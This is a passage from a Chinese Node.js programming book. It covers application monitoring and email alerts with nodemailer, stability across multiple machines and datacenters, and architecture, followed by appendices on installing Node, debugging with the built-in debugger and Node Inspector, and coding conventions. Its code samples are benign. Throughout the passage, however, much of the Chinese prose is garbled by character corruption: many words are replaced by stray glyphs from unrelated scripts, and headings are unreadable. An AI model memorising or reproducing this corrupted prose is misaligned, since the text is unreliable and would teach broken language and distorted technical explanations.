ᤈ程是否与数૵ं੊Ф他I/Oᬶࠚ的应用Рܪ相Վ的服务٧，我们都应ᄢଌឞϘ以᫸ʹ一。 

9. 㔥㒰ⲥ᥻ 
ᙉཨ网ፎึ量ᄢଌ的优Ўጞ没有上ᤗᮉ目ᥦ˥高，ͭ还是ᭉ要对ึ量ᤈᛠᄢଌ并᝹Ꮅ上ᬌ

Ϙ。ԀΦ应用቉ཨԩ到用ਖ਼的᭞ᅏ，ึ量఑๨时也能᤯过数Ϙਕᅻ到网ቢ的͛ࠇ是否有஌。一ெ

ึ量ᡓ过᝜ੈϘ，开发者就应ॆ੼Ѣึ量ܘ᫁的ԓ因。对于ൣ࣡ܘ᫁，应ॆ᝿ͤ是否ឞܘ加ᆵ͇

᝹ܫ౎为ఝ多用ਖ਼ଡΘ服务。 

网ፎึ量ᄢଌ的ˏ个˞要ૈಕ是ึ入ึ量֖ึѢึ量。 

10. ᑨ⫼⢊ᗕⲥ᥻ 
ᬓ了这些ᆵ性ᭉ要೜测的ૈಕ外，应用还应ॆଡΘ一ሗ机҃౎反ᯟФ自ᢵ的࿃খ信ো，外部

ᄢଌ࠱会૆续性ុڠ用应用的反ᯟ接ԯ౎೜ಉ它的ϣऔ࿃খ。 

最ኤӬ的࿃খ反ᯟ就是ፋᄢଌֽ应一个时ᫍ੗，ᄢଌழ೜ಉ时ᫍ੗是否ൣ࣡Ԁ可Ὑ 

app.use('/status', function (req, res) { 

  res.writeHead(200); 

  res.end(new Date()); 

}); 
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ϣܤ一些的࿃খֽ应Ѷ是࠱应用的Ιᠺᮉ的࿃খ੩ӾѢ౎，ݟ数૵ंᤋ接是否ൣ࣡、ᎀߚ是

否ൣ࣡ኍ。 

11. DNSⲥ᥻ 
DNS是网ፎ应用的۲ᆨ，在实ᬄ的对外服务产品中，多数都对۪Տ有Ιᠺ。DNS஋ᬩ࠭ᒰ产

品Ѣဗ大᭦ሤॕֽ的事͇并不࠵᜸。由于DNS服务᤯࣡是ሶ定的，ࠓ௛ᝧ人঒႔，ͭ一ெѢဗ஋

ᬩ，就可能是Խ௃前Β的஋ᬩ。对于产品的ሶ定性，۪ՏDNS࿃খ也ᭉ要加入ᄢଌ。目前国内有

一些Б᠟的DNSᄢଌ服务，ݟDNSPodኍ，可以᤯过这些ᄢଌ服务，ᄢଌ自己的在线应用。 

11.5.2� ᡹䄺ⱘᅲ⦄ 

ୃᦠᄢଌ系统的Ѷ是ઐ᝜系统，ቆ有ᄢଌᏪ没有᤯ᅻҩ能，஋ᬩ也是௃กԢ时反ᯟፋ开发者

的。ݟ今的ઐ᝜已经能ܴ多样Ӑ，最௾᤯的ᥪ͇ઐ᝜、IMઐ᝜᤟Ջ在线工作࿃খ，ᆀ信੊ႂព

ઐ᝜᤟Ջ᭣在线࿃খ。 

� 䚂ӊ᡹䄺Ǆݟ౦ઐ᝜系统由Node编写，可以ុ用nodemailerഴڰ౎实ဗᥪ͇的发ᤞ。下᭦

为一个ᥪ͇发ᤞᇧΒὙ 

var nodemailer = require("nodemailer"); 

 

// 建૬ᅃ߲SMTP传输૶接 

var smtpTransport = nodemailer.createTransport("SMTP", { 

  service: "Gmail", 

  auth: { 

    user: "gmail.user@gmail.com", 

    pass: "userpass" 

  } 

}); 

 

// ᆰ件჋ၜ 

var mailOptions = { 

  from: "Fred Foo ✔ <foo@bar.com>", // 发件ටᆰ件ں኷ 

  to: "bar@bar.com, baz@bar.com", // 收件ටᆰ件ں኷列表 

  subject: "Hello ✔", // Ք题 

  text: "Hello world ✔", // 纯文本内容 

  html: "<b>Hello world ✔</b>" // HTML内容 

} 

 

// 发ໃᆰ件 

smtpTransport.sendMail(mailOptions, function (err, response) { 

  if (err) { 

    console.log(err); 

  } else { 

    console.log("Message sent: " + response.message); 

  } 

}); 

� ⷁֵ៪⬉䆱᡹䄺Ǆ一些ᆀ信服务ࣰԻଡΘᆀ信接入服务，可以在ᄢଌ系统中接入൤ዜ服

务时，一ெ线上Ѣဗ到᣹᫟Ϙ的ऩ࣡时，就࠱信ো发ᤞፋ应用相关的᠉͉人。 
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11.5.3� ⲥ᥻㋏㒳ⱘ〇ᅮᗻ 

我们发ဗ为了γ᝼应用的ሶ定性，Ф实不ᅻ不᜿ᫍԠल入了一个ऊ大的ᄢଌ系统。ᄢଌ系统

自ᢵ的ሶ定性对应用᭣࣡᧗要，这ݟՎཱᄹߔߦ的γݟ，ݺ౦γݺ不能ࡉ心ࡉҦ，ဓ঒ᐋߵ，Ф

ፆ౦是有ᄢଌ系统不ݟ没有。 

 。开ࡘγ᝼ᄢଌ系统自己的ሶ定性是Բ外一个ព题，本ብ不в继续ʹݟ

11.6� 〇ᅮᗻ 

关于应用的ሶ定性，Ф实在部分ብᓫ中都有᫧ᤗ，࠾Ф在ኃ4ብ֖ኃ9ብ这中有᧗ཁଠᤗ，这

ˏብ从Ӭᤈ程֖多ᤈ程的ᝇऎଡԢ了ሶ定性。Ӭ࿗一Ի服务٧໗ᡛ不了ˉ务௃ᬌܘ᫁的（ݟ౦有

的ព）ᭉය，这就ᭉ要࠱Node૊多ᤈ程的ழय部Ꮇ到多Ի机٧中。这样ݟ౦౼Ի机٧Ѣဗ஋ᬩ，

也能有Ф余机٧为用ਖ਼ଡΘ服务。ᬓ൤之外，为了能ܴᣖ好ڠ服务Չڠ用ਖ਼，绝大多数͌ˉ都会

ᤤસ在Չڠౝत机ੜ以ક๖因为ͮူڠᎵࣛ౎的网ፎढᤌኍ问题。为了ఝ好的ሶ定性，Цۋ的ප

 。᜸࠵य᝹᝟在ဗ在的̈ᐎ网МՂ并不࣊多机ੜ，这样的分、ழय就是多ᤈ程、多机٧ࡘੰࣰ

� ໮ᴎ఼˖多机٧部Ꮇ应用ࣛ౎的好ܪ是能ѽ用ఝ多的ᆵ͇ᠪ源，为ఝ多的请ය服务。Վ

时能ܴ在有஋ᬩ时，继续服务用ਖ਼请ය，γ᝼ஞͳ系统的高可用性。ͭ是一ெѢဗ分࣊

य，就ᭉ要Ꮵᘼ᠆ᣑڨᛥ、࿃খР享֖数૵一ᒰ性ኍ问题。 

ӈڨ请ය࠱ʹݟ请ය分发到多个ᤈ程上一样，部Ꮇ多Ի机٧也ᭉ要Ꮵᘼ࠱Վ在Ӭ机中ݟ

౎实ဗ，也ܫᛥ，可能是ᆵ͇᝹ڨ这ᭉ要在机ੜ的ጞѾ上౵᝹᠆ᣑ，分ᦠፋՉ个机٧ڠ

可能是ᣃ͇౎实ဗ，ඊݟ反Փ̼ူ。图11-5为᠆ᣑڨᛥ的ᇧ਒图。 

 

图11-5 ᠆ᣑڨᛥᇧ਒图 
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对于࿃খР享֖数૵一ᒰ性，它们与多ᤈ程的问题是一ᒰ的，Хͳ可ԟ᜸ኃ9ብ，൤ܪ不

в多ᤗ。 

� ໮ᴎ᠓˖多机ੜ部Ꮇ是ඊ多机٧部Ꮇఝ高ࡎ次的部Ꮇ，目的是为了解决ͮူڠᎵፋ用ਖ਼

᝺问ࣛ౎的ढᤌኍ问题。在ࠓ༪ழ᭦，机ੜ与机ੜ之ᫍ可以̈为͊ܫ。由于机ੜ与机ੜ

之ᫍ的网ፎ复杂ऎвऎଡӣ，᠆ᣑڨᛥழ᭦ᭉ要ᤈ一൥Ԝ统ኡ᜺Ѳ，൤ܪ不вࡘ开。 

� ᆍ♒໛ӑ˖在多机ੜ֖多机٧的部Ꮇፆౝ下，Ӡ分ࠓ௛᤯过͊ܫ的ழयᤈᛠࠓ༪，͉ʹ

一Ի机٧੊者一个机ੜϢൢ了服务，都能有Ф余的服务٧౎接ఢ新的͉务。在这个机҃

下，我们至࠵ᭉ要4Ի服务٧౎ౝत这个ሶ定的服务ᬶᏅ，ݟ图11-6੝ᇧ。 

 

图11-6 服务ᬶᏅౝतᇧ਒图 

ᭉ要ซ਒的是，ݟ今ᘾ઱Ӑ技术已经੆熟，在多服务٧部Ꮇ中，要ࡉ量ᥗБ多个服务٧在相

Վ的实ͳ机上。因为一ெ实ͳ机Ѣဗ஋ᬩ，࠭ᒰ多Ի服务٧一起Ϣൢ服务。 

应用自ᢵ的部Ꮇ问题३到解决后，还要Ꮵᘼ的是应用Ιᠺ的服务的ࠓ༪֖ݟ，͊ܫΙᠺ的数

૵ं、ᎀߚኍ服务。 

11.7� ᓖᵘ݅ᄬ 

ቢ在技术的产品Ӑ的ᝇऎ౎ᄹ，ᤤસ࠱一门新技术应用在生产环境中就३Ꮵᘼ与已有的系统

੊者服务能否ऩౝРݟ。ߚ౦为了应用一ሗ新技术Ꮺ࠱已有的੝有技术推Ꮱ，ᥦ并不是一个͌ˉ

ਜ਒Ԝ੽ઝ的᮲ᬖ。ඇ一门新的语言੊者新的技术在推广֖应用的过程中都要᭦˙这样的问题。

对于NodeᏪ言，我在本书中̭ፀ了它的ឰ多ԓူ。可以ᄹѢ，它并᭣一个ಪಪ不入的新事ྫྷ，它

ౝत于C/C++之上，以JavaScript为ុ用语言，以ᓡ好的事͇驱动౵ౝ्੆᭦Փ网ፎ的ࣰԻ，͉ʹ

ᇷ݈的ڠழ都能从ୱ作系统ऄࡎ੼到它的起源。 

在应用Node的过程中，一部分是在К新的ᮉ目中应用，一部分是இᤴ已有系统᤯过Node౎

ଡӣ性能。几˪没有࠱已有系统推Ꮱ用Node౎ᤈᛠ᧗त的。 

关于在К新ᮉ目中应用Node，൤ܪඅकвଡ。对于இᤴ已有系统，NodeύүC/C++ऄࡎ੊网

ፎӨᝫ，已经能与这个ˆႌ上大多数的系统ᤈᛠ̓̈。Фԓူ在于能ܴ服务Ӑ的产品，都是Х有

ಕэӨᝫ的。Өᝫ几˪是解决ऩౝ系统最߸Ꮎ的ழ಴。只要有ಕэ的̓̈Өᝫ，Չሗ语言就能᤯

过网ፎ与之ᤈᛠ̓̈。ݟMySQLኍ数૵ं，由于有ಕэ的网ፎӨᝫ，੝以可以᤯过ՉሗՉ样的
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编程语言ᤈᛠុ用。ॆཨ，᤯过Node编写对应的客ਖ਼端驱动也并不是ᬱ事。图11-7为编程语言与

服务之ᫍ᤯过网ፎӨᝫᤈᛠុ用的ᇧ਒图。 

 

图11-7 编程语言与服务᤯过网ፎӨᝫᤈᛠុ用的ᇧ਒图 

对于一ᓉ系统，可能并᭣TCPࡎ᭦的网ፎӨᝫ，Ꮺ是RESTful的服务接ԯ。ˏ者的不Վ在于

一个是HTTPӨᝫ，ܪ于应用ࡎ὚一个是TCPӨᝫ，ܪ于͛ᣤࡎ。Өᝫࡎ次不Վ，性能ழ᭦会ͳ

ဗѢࢿऩ౎。TCPӨᝫ会त立૆ˣ的᫁ᤋ接，甚至ᤋ接෈，ᏪHTTPӨᝫѶ可能ᮟጒڠᤈᛠᤋ接，

在性能上ߚ在૮Ᏹ。TCPӨᝫᭉ要Ιᠺ客ਖ਼端驱动，HTTPӨᝫѶ۲本上有ဗ੆的客ਖ਼端。 

঳之，在应用Node的过程中，不ߚ在为了用它Ꮺ推Ꮱ已有᝹᝟的情х。Node能ܴ᤯过Өᝫ

与已有的系统很好ڠऩౝР࠱。ߚNode用于系统இᓡ的开发者ᭉ要Ꮵᘼ的是已有的系统是否Хܫ

ᓡ好的服务Ӑ，是否ஂ૆多ሗጻ端，是否ஂ૆多ሗ语言ុ用。 

11.8� ᘏ㒧 

一ᓉᏪ言，决定用一ᮉ技术ᤈᛠ产品开发时，只有最௉య是与这门技术߸К相关的。ᬣ着时

ᫍ的᣺ሧ，要解决的已经不是ԓ౎的问题了，一门技术只能在一定ࡎ᭦上发૘Ѣ它的优势౎。用

Node也是一样，ᬣ着开发的ᤈࡘ、๗Ԣࡎ᭦的ܘ多，我们ᄹ到在产品的ᝇऎ要解决的问题Ιཨ是

大部分技术都要解决的问题。我们࣎భ读者能ܴ࠱Nodeጩ入到新的ࡎ᭦上ᤈᛠᏥᘼ，使它ఝ᤟应

产品，在产品中发૘Ѣఝ大的优势౎。 

11.9� খ㗗䌘⑤ 

本ብԟᏥ的ᠪ源为https://github.com/andris9/Nodemailer。 
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ᅝ㺙Node 

 

Node的开发环境Ӡ分ࠓ௛ୃत，只要一个ᤁᛠ时֖͉਒的஠本编ᣣ٧就可以开始开发了，Ӡ

分ᣏ量ঋ૸。 

在డ经的发ད友时 （̼v0.2到v0.4），߶ᜈNodeᭉ要一定的ઈᒐழ才能ܴᤁᛠ在ႂᑧ中，并且

在Windows下௃ก߶ᜈᤁᛠ。从v0.6开始，Nodeը用了GYPᮉ目生੆工Х，Վ时᧓用libuv作为ࣰ

Իઙ៵ࡎ，实ဗ了Щࠓ*nix与Windows，这在ኃ2ብ中已̭ፀ过，൤ܪ不в深ቂ。至ᥦ时候起，

NodeնѾ了在Windows下᤯过Cygwinᤁᛠ的Ѿੴழय。ݟ今Node在ඇ个ྟ本发࣊时，会编ដ好

Չ个ࣰԻ下的̃ᤈ҃ྟ本，ᄯ接߶ᜈԀ可，௃ᭉ编ដ。Node的߽ழᯪ页http://nodejs.org会಩૵你

的ୱ作系统ଡΘ不Վ的ᩖ接ڦڠΘ用ਖ਼下ᣑ，用ਖ਼只ᭉཁѣInstall૊ᨍ߶ᜈԀ可。 

在Node的߶ᜈ过程中，实ᬄ上还会߶ᜈ上NPM工Х。对于NPM的作用，ኃ2ብ也有ԫᤗ。在

Node v0.6.3之前，NPM工Х的߶ᜈ是与Node分ሎ的，ᭉ要ᮨ外߶ᜈ。ͭ在v0.6.3时，Node中就开

始ᬶ੆了NPM的߶ᜈ。在ᥦ不ˣ之后，NPM的作者Isaac Z. Schlueter从Ryan Dahl੣中接过Node

ଁ门人的ᐋͮ，᠆᠉Node的௅࣡问题ν复֖ྟ本发࣊。 

下᭦࠱ኤӬ̭ፀՉ个ࣰԻ下的߶ᜈ，只是ጹᓫ上႔有不Վ。 

A.1� Windows㋏㒳ϟⱘNodeᅝ㺙 

对于Windows用ਖ਼，32ͮ系统࠱会३到http://nodejs.org/dist/<version>/node-<version>-x86.msi

这 样 一 个 ڠ ڦ ， Ф 中 version 是 Х ͳ 的 ྟ 本 Ձ ， 64 ͮ 系 统 ࠱ 会 ३ 到 http://nodejs.org/dist/ 

<version>/x64/node-<version>-x64.msiڦڠ。下ᣑ.msi஠͇后，ᄯ接Ԥѣ它，߶ᜈ时಩૵Փ࠭

的ଡᇧ一ᄯӬѣNext૊ᨍԀ可߸੆ஞ个߶ᜈึ程。图A-1为Node在Windows系统下的ल࠭ 

ႌ᭦。 

߶ᜈ߸੆后，੩开̽֐ᛠ，੯ᛠnode -vᰍ᝼是否߶ᜈ੆ҩ。不Ѣ਒外，࠱会३到ॆ前߶ᜈ

ྟ本的ྟ本Ձ。Վ样也可以੯ᛠnpm -vᰍ᝼NPM工Х是否ᬣNode߶ᜈ੆ҩ。 

ซ ਒ ， 这 ᧖ 的<version>是 一 个v{major}.{minor}.{revision}ಪ य 的 ߙ ቿ ˘ ，  .v0ݟ

10.12。 

ᬃे " 
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图A-1 Node在Windows系统下的ल࠭ႌ᭦ 

A.2� Mac㋏㒳ϟNodeⱘᅝ㺙 

Mac系统下的用ਖ਼与Windows用ਖ਼不Վ的是会३到 .pkg的஠͇包，ᩖ接也与ྟ本相关

http://nodejs.org/dist/<version>/node-<version>.pkg。 

下ᣑ߸੆后，੩开.pkg஠͇包，也会ݟWindows用ਖ਼ᥦ样३到一个߶ᜈՓ࠭，ݟ图A-2੝ᇧ。 

 

图A-2 Mac系统下߶ᜈNode的ႌ᭦ 
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ཁѣþ继续ÿ૊ᨍ并接ԩ᝴可Өᝫ后，ᬣ着Փ࠭߶ᜈԀ可。 

߶ᜈ߸੆后，在̽֐ᛠ੯ᛠnode -v֖npm -vԀ可ᰍ᝼߶ᜈፆ౦。ݟ下是我ॆ时的环境Ὑ 

$ node -v 
v0.8.14 
$ npm -v 
1.1.65 

A.3� Linux㋏㒳ϟNodeⱘᅝ㺙 
对于Linux系统下的用ਖ਼，߽ ழ推荐᤯过源̼ᆉᤈᛠ߶ᜈ。੩开Node߽ழ˞页，会३到源̼ᆉ

ᩖ接http://nodejs.org/dist/<version>/node-<version>.tar.gz。你可以᤯过wget੊curlኍ工Хᤈᛠ下ᣑ。 

ᭉ要ଡԢ的是，编ដNode时ᭉ要的几个环境Ιᠺݟ下੝ᇧ。 

� Python 2.6៪Python 2.7˖Node不ஂ૆Python 3.0。˞要ԓ因在于GYPᮉ目ౝत工Х是᧓

用Python߸੆开发的，这᧖तᝫ߶ᜈPython 2.7，因为node-gypᭉ要Python 2.7才能ൣ࣡使用。 

� ⑤ҷⷕ㓪䆥఼˖Node自ᢵ有部分̼ᆉ᤯过C/C++编写，੝以ᭉ要GCC੊G++编ដ٧。 

� makeᎹ݋˖तᝫ使用ឞ工Х的3.81ྟ本੊ఝ新的ྟ本。 

对于不Վ的Linux发ᛠྟ，可以᤯过Չ自的߶ᜈ工Х（apt-get੊yum）౎߶ᜈ。下᭦是用源ᆉ

ᤈᛠᦠᎵ的过程Ὑ 

// 解压源码包 
$ tar zxvf node-<version>.tar.gz 
// 进入目录 
$ cd node-<version> 
// 环境配置 
$ ./configure 
// 配置结ࡕ 
{ 'target_defaults': { 'cflags': [], 
                       'default_configuration': 'Release', 
                       'defines': [], 
                       'include_dirs': [], 
                       'libraries': []}, 
  'variables': { 'clang': 1, 
                 'host_arch': 'x64', 
                 'node_install_npm': 'true', 
                 'node_prefix': '', 
                 'node_shared_cares': 'false', 
                 'node_shared_http_parser': 'false', 
                 'node_shared_libuv': 'false', 
                 'node_shared_openssl': 'false', 
                 'node_shared_v8': 'false', 
                 'node_shared_zlib': 'false', 
                 'node_tag': '', 
                 'node_unsafe_optimizations': 0, 
                 'node_use_dtrace': 'true', 
                 'node_use_etw': 'false', 
                 'node_use_openssl': 'true', 
                 'node_use_perfctr': 'false', 
                 'python': '/usr/bin/python', 
                 'target_arch': 'x64', 
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                 'v8_enable_gdbjit': 0, 
                 'v8_no_strict_aliasing': 1, 
                 'v8_use_snapshot': 'true'}} 
creating  ./config.gypi 
creating  ./config.mk 

Node᧓用GYP工Хౝतᮉ目。੯ᛠ./configure之后，ᬓ了३到以上ᦠᎵፆ౦外，还会在目

े下生੆config.gypi֖config.mk஠͇。੯ᛠmake̽֐后，࠱಩૵这ˏ个஠͇ᤈᛠNode的编ដ。 

编ᣣ的过程是一个相对ж᫁的时ᫍ，最ጻ会在out/Release目े下३到node஠͇。੯ᛠsudo make 

install会࠱node的相关ܿ஠͇֖̃ᤈ҃஠͇߶ᜈ到/usr/local下的lib੊bin目े下Ὑ 

$ make 

$ [sudo] make install 

੯ᛠnode -v֖npm –v̽֐，可以ಢᰍ是否߶ᜈ੆ҩὙ 

$ node -v 

v0.8.14 

$ npm -v 

1.1.65 

事实上，这些ୱ作在Mac系统下也一样有஌。ݟ౦你是一个喜欢࠼ᱤ的人，可以࠼试从Node

的giṯं中३到最新的源̼ᆉᤈᛠ编ដ߶ᜈ，以ͳᰍ最新的ҩ能Ὑ 

$ git clone https://github.com/joyent/node.git 

$ cd node 

੯ᛠgit tag̽֐，你会३到有Խ以౎的ಕኣ（tag）。੼到最新的ಕኣ，੯ᛠgit checkout 

<version>Ѭ૰到ಕኣ上ᤈᛠ编ដԀ可。 

A.4� ᘏ㒧 
在߶ᜈ߸Node后，可以试着用自己喜欢的஠本编ᣣ߽࠱٧ழ的经ЦᇧΒγߚ为example.js஠

͇，ᇧΒ̼ᆉݟ下Ὑ 

var http = require('http'); 
http.createServer(function (req, res) { 
  res.writeHead(200, {'Content-Type': 'text/plain'}); 
  res.end('Hello World\n'); 
}).listen(1337, '127.0.0.1'); 
console.log('Server running at http://127.0.0.1:1337/'); 

ཨ后੯ᛠnode example.js̽֐，ᄹᄹ是否可以३到ݟ下ፆ౦Ὑ 

Server running at http://127.0.0.1:1337/ 

用เ᜾٧试着੩开这个ڦڠ，ᄹᄹ是否३到Hello World的ᣤѢፆ౦。ݟ౦可以३到这个ፆ

౦，ᥦ˥৊喜你߶ᜈ੆ҩ了。 

A.5� খ㗗䌘⑤ 
本ᬃेԟᏥ的ᠪ源为https://github.com/joyent/node/wiki/Installation Installation。 
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䇗䆩Node 

 
JavaScript作为Node的˞要编程语言。在大多数的脚本语言中，ុ试是一ᮉඊᣖ᳣ཐ的事情，

JavaScript也不Β外。在Firefoxเ᜾٧的Firebugଢ͇Ѣဗ之前，˞ึ的JavaScriptុ试ழय是在̼

ᆉ中编写alert()，这ሗጁዼ的ុ试ͳᰍ之前ߚ在了很ˣ。对于NodeᏪ言，ុ试的ழयѶ不会像

௉యWeb开发ᥦ˥ጁዼ。这ኼᬃे࠱会̭ፀNode开发中˞要的几ሗុ试ழก。 

B.1� Debugger 
Node的ុ试ᄯ接ԩᄝ于V8。V8ଡΘ了ಕэ的ុ试API，使३可以从ᤈ程内部ᤈᛠុ试。Վ

时还ଡΘ了۲于ឞAPI的TCPុ试Өᝫ，使३᤯过ុ试Өᝫ，可以从ᤈ程外ᤈᛠ̼ᆉុ试。Node
内त了ុ试Өᝫ的客ਖ਼端，੝以在ը动时ࣛ上debugԟ数就可以实ဗ对JavaScript̼ᆉ的ុ试。 

在ᤈᛠុ试前，ᭉ要᤯过debugger;语Ա在̼ᆉ中᝹Ꮅறཁ，这样在੯ᛠ时̼ᆉ会्੆中ற。

以下为றཁ᝹ᎵᇧΒὙ 
// myscript.js 
x = 5; 
setTimeout(function () { 
  debugger; 
  console.log("world"); 
}, 1000); 
console.log("hello"); 

੯ᛠ上ᤗ̼ᆉ时，在̽֐ᛠ中加入debug。ຊ加debug在̽֐中后，Node会开ըុ试ҩ能，内

त的客ਖ਼端会与V8त立ᤋ接。下᭦的ᣤѢ为੯ᛠፆ౦Ὑ 
$ node debug examples/B/myscript.js  
< debugger listening on port 5858 
connecting... ok 
break in examples/B/myscript.js:2 
1 // myscript.js 
  2 x = 5; 
  3 setTimeout(function () { 
  4   debugger; 
debug>  

̼ᆉ在੯ᛠ到debugger;语Ա后，中ൢ了੯ᛠ，并Ѣဗᣤ入̓̈ଡᇧ，ኍय़ᣤ入ૈ̽后੯ᛠ

后续ୱ作。 

ᬃे # 
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这᧖ᭉ要ឬ௙一下，Node的ុ试客ਖ਼端并没有ஂ૆V8的੝有̽֐，只有ኤӬ的൥ᤈ֖೜ಉ

的̽֐。 
Ф中൥ᤈૈ̽˞要有ݟ下几个。 
� cont੊c。继续੯ᛠ。 
� next੊n。੯ᛠ到下一个றཁ。 
� step੊s。൥ᤈ到ѥ数内部。 
� out੊o。从ѥ数内部᡹Ѣ。 
� pause。ఆϢ੯ᛠ。 
᤯过றཁᤈ入̓̈ଡᇧ后，可以᤯过൥ᤈૈ̽ᤩழกុڠ试。 
᤯过൥ᤈૈ̽，还可以继续᝹Ꮅறཁ。V8ଡΘ了ݟ下几ሗ᝹Ꮅறཁ֖ຌᬓறཁ的ழก。 
� setBreakpoint()੊sb()。在ॆ前ᛠ᝹Ꮅறཁ 
� setBreakpoint(line)੊sb(line)。在ૈ定的ᛠ᝹Ꮅறཁ。 
� setBreakpoint('fn()')੊sb(...)。在ѥ数ͳ的ኃ一个ܥ௙ܪ᝹Ꮅறཁ。 
� setBreakpoint('script.js', 1)੊sb(...)。在脚本஠͇的ኃ1ᛠ᝹Ꮅறཁ。 
� clearBreakpoint੊cb(...)。ຌᬓறཁ。 
ᬓ了᝹Ꮅறཁ外，在中ற后ᤈᛠុ试时，还可以ಉᄹ一些信ো。这些信োૈ̽ݟ下੝ᇧ。 
� backtrace੊bt。੩Ӿॆ前੯ᛠ情х下的۶ಖ信ো。 
� list(5)。ѴѢॆ前上下஠前后5ᛠ的源̼ᆉ。 
� watch(expr)。ຊ加ᛪ᣹य到᜹ࠢѴᛪ，ᤈᛠ᜹ࠢ。 
� unwatch(expr)。从᜹ࠢѴᛪ中ሧᬓ对ᛪ᣹य的᜹ࠢ。 
� watchers。ѴѢ੝有᜹ࠢ的ᛪ᣹य֖Ϙ。 
� repl。੩开ុ试的̓̈，用于੯ᛠុ试脚本的上下஠。 
V8的ុ试ҩ能ᬓ了在̽֐ᛠ中᤯过debug可以ը用外，对于已经ᤁᛠ的ᤈ程，可以᤯过ՓФ

发ᤞSIGUSR1信Ձը用ុ试。ϛ᝹᤯过ݟ下̽֐ը动了一个服务ᤈ程Ὑ 
$ node server.js  

᤯过ps̽֐੼Ѣᤈ程的ID，ཨ后对这个ᤁᛠ中的ᤈ程发ᤞSIGUSR1信Ձ，ݟ̽֐下੝ᇧὙ 
$ kill -s USR1 10093 

在ԓ有的ᤈ程下，可以ᄹ到接收到信Ձ并ը动ុ试客ਖ਼端的ଡᇧ信ো，ݟ下੝ᇧὙ 
$ node server.js  
Hit SIGUSR1 - starting debugger agent. 
debugger listening on port 5858 

ុ试客ਖ਼端ը动后，可以᤯过เ᜾٧᝺问http://localhost:5858/౎ᤈᛠុ试。这࠱ल入我们下

一个ុ试工Х的̭ፀúúNode Inspector工Х就是在这个۲ᆨ上实ဗ的图्ႌ᭦ុ试。 

B.2� Node Inspector 

Node Inspector工Х是۲于Debugger֖Blink开发者工Х创त的ុ试ႌ᭦。在̼ᆉ的ុ试ҩ能
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ழ᭦，源自Node为V8内त的ុ试̼ူ，ႌ᭦̓̈ҩ能Ѷ౎自Blink的开发者工Х。ࣛ有Blink开发

者工Х的เ᜾٧有Chrome、Opera。这਒։着我们可以像ុ试เ᜾٧中的JavaScript̼ᆉ一样ុ试

Node中的JavaScript̼ᆉ。 

B.2.1� ᅝ㺙Node Inspector 

在使用Node Inspector之前，ᭉ要᤯过NPM工Х߶ᜈ它为К̽֐ࡌᛠ工Х，߶ᜈݟ̽֐下੝ᇧὙ 

$ npm install -g node-inspector 

B.2.2� 䫭䇃ේᷜ 

使用Node InspectorॸᮋЎը用Nodeᤈ程的ុ试ഴय。ը用ុ试ഴय的ழय在前஠有过̭ፀ，

在̽֐ᛠ中使用debug੊者᤯过发ᤞSIGUSR1ፋNodeᤈ程Ԁ可ը用ុ试ഴय。 
ը动Nodeᤈ程ុ试后，就可以ը动Node Inspector工Х。Node Inspector工Х相ॆ于在Blink开

发者工Х与Nodeᤈ程的ុ试̼ူ之ᫍत立了ᐎ系。ը动ݟ̽֐下੝ᇧὙ 

$ node-inspector 
Node Inspector v0.5.0 
   info  - socket.io started 
Visit http://127.0.0.1:8080/debug?port=5858 to start debugging. 

 :ᛠ中ᣤѢ了一些信ো，这时可以੩开ࣛBlink开发者工Х的เ᜾٧᝺问http://127.0.0.1̽֐
8080/debug?port=5858开始ᄽൣ的ុ试。੩开เ᜾٧后会Ѣဗݟ图B-1这样的ႌ᭦。 

 

图B-1 ੩开เ᜾٧后的ុ试ႌ᭦ 

在Sources᭦౛中可以ᤤસХͳ的JavaScript脚本᝹Ꮅறཁ，后续的ុ试过程就ᡱ在เ᜾٧中

ុ试JavaScript一样。 
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B.3� ᘏ㒧 

由于Node˞要ᤁᛠ在服务٧中，ុ试会ल起੯ᛠ中ற，ᤈᏪ中ற服务，不ѽ于在有大᝺

问量的情х下ᤈᛠ。ុ试只᤟Ջ于开发᫼ൿ，并且由于过程႔᳣ཐ，不ࠁ在开发中过于Ιᠺ。

ఝ好的ழय是编写ᓡ好的ӬЊ测试֖做Ջူ的௅ং᝭े，这对于程序开发౎ឬఝᣏ量，信ᠺ

ऎ也ఝ高。 
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Node㓪ⷕ㾘㣗 

 

C.1� ḍ⑤ 

JavaScript作为一门编程语言，在语ก上可៊是最为灵活的语言了。有人喜欢它的灵活，也有

人ᝦԍ它的ຈ˼。௃᝶它的灵活也好，ຈ˼也Ꮁ，都ሎ不开Фភ生的ԊԽ。Brendan Eich在1995

年᧖ᔈ了10天᝹᝟Ѣ了这门语言，Ф后ॱᣃ在1996年也发࣊了ஂ૆JavaScript的เ᜾٧IE 3.0。网

景МՂ为了γએ自己，在1996年11月࠱JavaScriptଡ̓ፋECMAಕэӐ组织，次年6月ኃ一ྟಕэ

发֐，࣊Տ为ECMAScript，编Ձ262。 

௉年的JavaScript编写Ӡ分ຈ˼。它的灵活性֖ࠓॼऎ都᭣࣡高，使३开发者可以ඒ௃ᮎॻڠ

编ᆉ，最ጻ࠭ᒰ它在一定程ऎ上ᒮՏ௥ᗂ。在编ᆉ᜺ᔴ上，一个᧗要的人ྫྷ是Douglas Crockford，

他是JavaScript开发社区最ᅻՏ的ాގ，是JSON、JSLint、JSMin֖ADSafe之ྗ，Ф中JSLintဗ在

̮ཨ是最᧗要的JavaScript质量೜测工Х。他Ѣྟ的JavaScript: The Good Parts一书对于JavaScript

社区ॕֽ深ᤉ。 

᤯࣡，一门语言的发ࡘ要经ԊӠ多年的᩺གྷ才能为大͔੝接ԩ。由于ԊԽԓ因，JavaScript

在ᆀᆀ的时ᫍ内就ᜁಕэӐ定ۋ，这样它的优ཁ֖Ꭴཁ都఑᭚在大͔之下。Douglas Crockford的

JSLint֖JavaScriptὙThe Good Parts对JavaScript的贡献在于，他ᝧ我们能ܴၭѾ语言中的ዴӧ֖

ጁዢ，写Ѣఝ好的̼ᆉ。 

与Ф他语言（ඊݟPython੊Ruby）的程序տ相ඊ，JavaScript程序տᭉ要ఝ多的自।才能ܴ写

Ѣ௛读、௛፤એ的̼ᆉ。为ᥗБ这个问题，部分开发者ᤤસTypeScript੊CoffeeScript౎编写应用。

ͭ我认为了解一门语言为ʹ是ॆ下这ሗ情х是有ॸ要的。编ᆉ᜺ᔴ的目的是在一定程ऎ上ጝో程

序տ，使之能ܴ在ڃ᫲中௛፤એ并且ᥗБͯጞᩱឧ。 

，管JavaScript᜺ᔴ已经相ॆ੆熟，ѽ用JSLint能ܴ解决大部分问题，ͭ是ᬣ着Node的ึᛠࡉ

